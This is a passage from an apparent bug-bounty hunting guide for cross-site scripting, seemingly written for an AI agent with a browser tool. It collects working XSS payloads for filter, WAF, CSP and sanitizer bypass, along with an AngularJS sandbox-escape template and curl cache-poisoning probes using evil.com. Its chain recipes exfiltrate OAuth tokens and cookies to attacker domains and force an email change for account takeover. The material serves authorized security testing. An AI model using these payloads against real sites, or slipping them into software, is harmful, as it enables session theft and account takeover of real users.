242grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"
243
244# Find reflected params in responses
245grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
246```
247
248**Curl to detect reflection:**
249```bash
250curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
251curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
252```
253
254**Cache poisoning test:**
255```bash
256# Send payload then fetch with clean session to see if cached
257curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
258curl -sk "https://target.com/page" | grep -i "evil.com"
259```
260
261---
262
263## Common Root Causes
264
2651. **Trusting `html_safe` in Rails** — Developers mark strings as safe after partial sanitization, or chain `.html_safe` on user-supplied data without full sanitization.
266
2672. **Allowlist sanitizers with dangerous tag combinations** — Allowing `style` alongside `math` or `svg` creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.
268
2693. **Third-party rendering pipelines** — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram/rendering engines aren't sandboxed and output isn't re-sanitized.
270
2714. **Reflecting URL parameters without encoding** — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing/help pages that are treated as lower-security.
272
2735. **SVG treated as non-script content** — Developers apply CSP to HTML responses but forget that `image/svg+xml` responses can execute JavaScript and often aren't covered by the same CSP header.
274
2756. **Incomplete sanitizer patches** — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).
276
2777. **`javascript:` scheme not blocked in href/src** — Link renderers (RDoc, Markdown) fail to block `javascript:` URLs in href attributes, treating them as valid external links.
278
2798. **Cache layers storing authenticated user input** — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.
280
2819. **File upload without Content-Type enforcement** — Accepting SVG or HTML files and serving them without forcing `Content-Disposition: attachment` or overriding Content-Type.
282
28310. **Translation helper XSS** — Rails `translate`/`t()` helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.
284
285---
286
287## Bypass Techniques
288
289**CSP Bypass:**
290- SVG uploads bypass script-src because `image/svg+xml` responses may not inherit the page's CSP
291- Find JSONP endpoints on whitelisted domains (`*.googleapis.com`, `*.cloudflare.com`)
292- Use `<base>` tag injection to redirect script sources
293- Exploit `unsafe-eval` or `unsafe-inline` in style-src to execute CSS-based attacks
294- `<link rel=preload>` or `<meta http-equiv>` gadgets to bypass strict policies
295
296**Sanitizer Bypasses:**
297- **mXSS (Mutation XSS):** Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g., `<math><style><img onerror=...>`)
298- **Tag combination attacks:** `<svg>` + `<style>` or `<math>` + `<style>` create parsing ambiguity
299- **Attribute quoting variations:** `onmouseover=alert(1)` without quotes, backtick delimiters
300- **HTML entity encoding:** `javascript:` or `javascript:` in href values
301- **Protocol variations:** `javascript:`, `vbscript:`, `data:text/html`
302
303**Filter Evasion:**
304```html
305<!-- Case variation -->
306<ScRiPt>alert(1)</ScRiPt>
307<!-- Null bytes (legacy/weak — null bytes rarely survive modern HTTP/HTML parsing; low success, don't rely on it) -->
308<scr\x00ipt>alert(1)</scr\x00ipt>
309<!-- Tag breaking -->
310<svg/onload=alert(1)>
311<!-- Event handler alternatives -->
312<body onpageshow=alert(1)>
313<input autofocus onfocus=alert(1)>
314<details open ontoggle=alert(1)>
315```
316
317**WAF Bypass:**
318```javascript
319// Obfuscated payloads
320<svg onload=eval(atob('YWxlcnQoMSk='))>
321// String splitting
322<script>ale\u0072t(1)</script>
323// HTML5 event handlers that WAFs miss
324<video src=x onerror=alert(1)>
325<audio src=x onerror=alert(1)>
326```
327
328**Redirect-based XSS bypass:**
329```
330?next=javascript://%0aalert(1)
331?next=javascript:alert(1)
332?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
333```
334
335**AngularJS client-side template injection (CSTI) & sandbox escapes:**
336- *Detect:* the page uses AngularJS (look for `ng-app`/`ng-controller` attributes, `angular.js`/`angular.min.js`, or `{{ }}` interpolation). Probe a reflected param with `{{7*7}}` — if it renders `49` (not the literal text), the value is evaluated as an Angular expression. Always drive the `browser` tool so the expression actually evaluates.
337- *Execute JS by escaping the sandbox* (technique depends on the AngularJS version):
338 - Common: `{{constructor.constructor('alert(1)')()}}` or `{{$eval.constructor('alert(1)')()}}`.
339 - **Hard variant — `$eval` unavailable AND string literals disallowed:** overwrite `String.prototype.charAt` (this disables the sandbox's per-character string checks), then use the `orderBy` filter with `String.fromCharCode` to build your JS with no quotes at all. Payload structure (fill in the placeholders yourself):
340 ```
341 ?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1
342 ```
343 - `PARAM` = the reflected parameter you found.
344 - `CODES` = the comma-separated character codes of the JavaScript you want to run — **compute these yourself** (e.g. encode `x=alert(1)` by converting each character to its char code). `toString()` produces a string without quotes; `[].join` replaces `charAt`; `orderBy` invokes the filter; `fromCharCode(CODES)` rebuilds your payload from the codes.
345- Applies to **legacy AngularJS (<1.6)** only; modern frameworks (Angular 2+, React, Vue) are not affected.
346
347---
348
349## Gate 0 Validation
350
351Before writing the report, answer all three:
352
3531. **What can the attacker DO right now?**
354 The attacker must demonstrate a concrete action: execute JavaScript in victim's browser session on the target domain, steal session cookies/tokens, perform actions as the victim, or exfiltrate sensitive data. "Alert box appears" is not sufficient — state what the alert box *represents* in terms of access (e.g., "I can read `document.cookie` which contains the auth token used for all admin API calls").
355
3562. **What does the victim LOSE?**
357 The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what *that* user's browser is exposed to.
358
3593. **Can it be reproduced in 10 minutes from scratch?**
360 You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome/Firefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.
361
362---
363
364## Real Impact Examples
365
366**Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page**
367An attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.
368
369**Scenario 2 — Stored XSS via Diagram Rendering in Wiki**
370A developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.
371
372**Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass**
373A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the `style` tag allowlist with specific tag nesting (`svg>style`), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.
374
375---
376
377## Chains & Compositions (Senior Hunting)
378
379XSS as a standalone finding gets paid at Low-Medium on mature programs. Real payouts cluster around chains that convert JS execution into account takeover, mass-victim impact, CSP bypass, or token exfil. The composition skill is *"what does my XSS unlock once it executes?"* — and the answer is always something beyond `alert(1)`.
380
381### Chain 1 — Reflected XSS + Cache Poisoning → Persistent Stored XSS at CDN Scale (Kettle-class)
382
383- **A.** Identify a reflected XSS where the vulnerable input lands in the response body and the response is cacheable (`Cache-Control: public, max-age=…`).
384- **B.** Identify an unkeyed input that influences the cached body — typically `X-Forwarded-Host`, `X-Original-URL`, an unkeyed cookie, or a parameter stripped from the cache key but reflected in the body.
385- **C.** Send a single request with the XSS payload via the unkeyed input. Cache stores the poisoned response. Every subsequent CDN-edge visitor receives it for the full TTL.
386- **Impact:** Self-inflicted reflected XSS becomes persistent stored XSS affecting every visitor in the affected geo until cache expires. No per-victim interaction required.
387- **Real shape:** Glassdoor reflected→stored XSS via cache poisoning, H1 #1424094 (2021-2022); Kettle "Practical Web Cache Poisoning" research. Cross-refs `hunt-cache-poison` Disclosed Report Citation #4.
388
389### Chain 2 — Self-XSS + CSRF Trigger → Effective Stored XSS → ATO
390
391- **A.** Confirm self-XSS in a profile field (`bio`, `display_name`, `signature`) — payload only executes when the same logged-in user views their own profile.
392- **B.** Find a CSRF-vulnerable endpoint that mutates that field (no anti-CSRF token, or `text/plain` enctype bypass).
393- **C.** Craft attacker-hosted page that submits the CSRF form setting `bio` to the XSS payload. Victim visits attacker page → CSRF fires → victim's profile updated → victim's next visit to their own profile executes attacker JS.
394- **Impact:** Self-XSS that "doesn't pay" becomes ATO. The payload runs in the victim's authenticated session — extract cookie, force email change via XHR, password reset → full ATO.
395- **Real shape:** Multiple H1 disclosures 2019-2023 across social platforms. Cross-refs `hunt-csrf` step 7 (form-based CSRF on profile mutation).
396
397### Chain 3 — DOM XSS on /signin or /oauth Callback → Fragment Token Capture → ATO
398
399- **A.** Find DOM XSS on a `/signin`, `/oauth/callback`, or `/auth/return` page — typically `document.location.hash` parsed into the DOM without escaping.
400- **B.** OAuth-implicit-flow callbacks frequently land tokens in the URL fragment (`#access_token=...`). The fragment is NOT sent to the server; only the browser sees it.
401- **C.** XSS payload reads `document.location.hash`, base64-encodes it, exfils via `Image()` to attacker domain. Attacker now holds the OAuth access token.
402- **Impact:** Cross-platform ATO. The access token typically grants API scope to Facebook/Google/Microsoft user data; some implementations use the token directly as the session.
403- **Real shape:** Detectify "Dirty Dancing" multi-vendor OAuth token leakage (F. Rosén, 2022); Zoom OAuth chained ATO $15,000 (H1 / Harel Security, 2024). Cross-refs `hunt-oauth` Disclosed Report Citation #19 and #20.
404
405### Chain 4 — SVG Upload XSS + CSP Bypass → JS Execution on Trusted Origin → Cookie/Token Theft
406
407- **A.** Identify a file-upload feature that accepts `image/svg+xml`. SVG files are XML and can contain `<script>` tags — many sanitisers process PNG/JPG but pass SVG through unmodified.
408- **B.** CSP frequently applies to HTML responses but NOT to `image/svg+xml` responses. The SVG executes JS in the context of whichever origin serves it.
409- **C.** If the SVG is served same-origin (common when uploads go to `target.com/uploads/<sha>.svg`), the executing JS has full session-cookie access and can call any same-origin API.
410- **Impact:** Stored XSS on the trusted origin without going through any reflected/stored content vector — bypasses CSP entirely; pulls session cookies, calls password-change endpoints, ATO.
411- **Real shape:** Multiple disclosed cases across SaaS uploaders; cross-refs `hunt-file-upload` SVG section and `hunt-xxe` Disclosed Report Citation #3 and #4 (Zivver/Lab45 SVG-upload chains).
412
413### Chain 5 — postMessage XSS + Origin Check Bypass → Cross-Origin Token Exfil → ATO
414
415- **A.** Identify a `window.addEventListener('message', handler)` where `handler` does NOT check `event.origin` (or checks it with a `indexOf`/`endsWith` that fails on `target.com.attacker.com`).
416- **B.** Attacker page opens `target.com` in a popup or iframe. Once loaded, sends a `postMessage` payload that the handler evals, processes as XSS, or uses to extract `document.cookie`.
417- **C.** Handler executes in `target.com` context; response is `postMessage`'d back to attacker page via `event.source.postMessage(stolenData, '*')`.
418- **Impact:** Cross-origin JS execution and exfil with no CSP violation — `postMessage` is a legitimate cross-origin channel; CSP doesn't gate it. Token theft / session hijack.
419- **Real shape:** Detectify "Dirty Dancing" multi-vendor postMessage gadgets (2022); Zoom OAuth + postMessage chain (2024). Cross-refs `hunt-oauth` Disclosed Report Citation #19, #20.
420
421### Chain 6 — Markdown/Wiki XSS + Privileged Viewer → Cross-Privilege Stored XSS
422
423- **A.** Stored XSS in a collaborative content field (wiki page, issue comment, customer ticket, support reply) — payload survives Markdown rendering due to insufficient allowlist on `<style>`, `<math>`, `<svg>`, or attribute filters.
424- **B.** The collaborative content is viewed by a privileged user (admin, support agent with elevated permissions, project maintainer).
425- **C.** Privileged viewer's session executes the payload in their authenticated context — XHR to admin-only endpoints, role-change of attacker, secret exfil from admin-only panels.
426- **Impact:** Privilege escalation from low-priv user to admin via stored XSS — attacker promotes themselves on the privileged user's behalf.
427- **Real shape:** GitLab/Jira/Confluence markdown-XSS-to-admin-priv-esc class; common payout pattern is High (privilege escalation severity bump over standalone stored XSS).
428
429### Operator-level pattern
430
431When you confirm XSS at A, immediately ask: what state-changing endpoint or token store does this JS now have access to? *Where does the payload run, and who sees it?* The chain payout is 5-20x the standalone XSS payout. Discipline gate before submission: do not file XSS as "Critical" without demonstrating the terminal impact (ATO / token exfil / privilege escalation); file as Medium otherwise.
432
433Cross-references:
434- `hunt-cache-poison` — Chain 1
435- `hunt-csrf` — Chain 2
436- `hunt-oauth` — Chains 3, 5
437- `hunt-file-upload` / `hunt-xxe` — Chain 4
438- `hunt-ato` — terminal impact for Chains 2, 3, 4, 5
439
440---
441
442## Related Skills & Chains
443
444- **`hunt-cache-poison`** — Reflected XSS becomes stored-equivalent at CDN scale when the vulnerable parameter is unkeyed. Chain primitive: `X-Forwarded-Host: attacker.com` poisons a cached response whose `<script src=...>` now points at attacker.com → every CDN-edge visitor executes attacker JS without any per-victim interaction.
445- **`hunt-csrf`** — XSS on origin auto-defeats SameSite=Lax and same-origin checks for state-changing endpoints. Chain primitive: stored XSS in profile bio → fetch(`/settings/email`, {method:'POST', body:'email=attacker@evil'}) executes with victim's cookies and origin → silent email takeover → password reset → full ATO without the victim ever leaving the page.
446- **`hunt-http-smuggling`** — Smuggling delivers an XSS payload into the response queue of the NEXT victim's request, even on endpoints that sanitize their own inputs. Chain primitive: smuggle a request whose response (carrying attacker HTML) is served as the body of the next legitimate user's GET / → reflected XSS at every visitor without any URL parameter visible in their address bar.
447- **`security-arsenal`** — Reach for the XSS payload bank (SVG+style, math+style mXSS, CSP-bypass JSONP gadgets, HTML5 event handlers WAFs miss) before hand-crafting payloads; also the always-rejected list to confirm self-XSS / alert-only PoCs are not submittable.
448- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on stored XSS that only fires in the attacker's own session, or before claiming reflected XSS where the canary appears HTML-encoded (`<`) in the response body — those are the two most common downgrade-to-N/A traps.